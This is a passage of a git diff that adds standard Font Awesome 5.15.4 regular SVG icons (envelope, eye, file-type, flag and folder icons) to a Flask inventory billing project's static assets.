17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/envelope-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/envelope-open.svg new file mode 100644 index 00000000..d8babdd9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/envelope-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/envelope.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/envelope.svg new file mode 100644 index 00000000..5f384220 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/envelope.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/eye-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/eye-slash.svg new file mode 100644 index 00000000..91fc9c48 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/eye-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/eye.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/eye.svg new file mode 100644 index 00000000..14016126 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/eye.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-alt.svg new file mode 100644 index 00000000..68819fd4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-archive.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-archive.svg new file mode 100644 index 00000000..033ffd04 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-archive.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-audio.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-audio.svg new file mode 100644 index 00000000..0d1f77eb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-audio.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-code.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-code.svg new file mode 100644 index 00000000..88cfcd11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-code.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-excel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-excel.svg new file mode 100644 index 00000000..a9bb469c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-excel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-image.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-image.svg new file mode 100644 index 00000000..521902b0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-image.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-pdf.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-pdf.svg new file mode 100644 index 00000000..971c5202 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-pdf.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-powerpoint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-powerpoint.svg new file mode 100644 index 00000000..c7173702 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-powerpoint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-video.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-video.svg new file mode 100644 index 00000000..681b5966 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-video.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-word.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-word.svg new file mode 100644 index 00000000..972ec35c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file-word.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file.svg new file mode 100644 index 00000000..be966ffd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/file.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/flag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/flag.svg new file mode 100644 index 00000000..2529a03d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/flag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/flushed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/flushed.svg new file mode 100644 index 00000000..6e30c940 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/flushed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/folder-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/folder-open.svg new file mode 100644 index 00000000..26e33801 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/folder-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/folder.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/folder.svg new file mode 100644 index 00000000..1b5ff18b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/folder.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/font-awesome-logo-full.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/font-awesome-logo-full.svg new file mode 100644 index 00000000..0672ac84 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/font-awesome-logo-full.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 3992 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 